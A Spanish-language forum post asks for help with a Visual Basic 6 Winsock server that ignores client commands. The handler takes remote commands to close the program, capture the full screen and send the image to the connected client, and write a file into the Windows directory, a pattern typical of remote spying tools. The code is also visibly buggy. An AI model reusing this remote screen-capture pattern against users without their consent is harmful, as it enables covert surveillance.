queria preguntaros el por qué no me obedece lo que es el cliente a el server
el codigo es..:
Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim vtData As String
Dim vDatos() As String
Dim Datos As String
ws.GetData vtData, vbString
If Envio = True Then ' Archivos recibidos
DataFile = DataFile & vtData
If Len(DataFile) = lenFile Then
Open NombreRec For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
Envio = False
End If
End If
txtRecibido.Text = vtData
ws.GetData Datos
ws.GetData vtData, vbString
vtData = txtRecibido.Text
vDatos = Split(Datos, "|")
Select Case vDatos(0)
Case "Cerrar"
End
Case "Screen"
Resolucion = vDatos(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
txtRecibido.Text = vtData
Open "c:\capture.jpg" For Binary As #1
File = Input(LOF(1), 1)
Close #1
FileTotal = Len(File)
ws.SendData "Screen|" & FileTotal
Kill "c:\capture.jpg"
Case "OK"
ws.SendData File
Case "Name"
Nombre = vDatos(1)
Kill WINDOWS & "\name"
Open WINDOWS & "\name" For Binary As #1
Put #1, 1, Nombre
Close #1
End Select
End Sub
no entiendo.. lo que quiero esque si "hola" es igual a "hola" entonces me de " msgbox hola "
pero no me hace caso, :S!!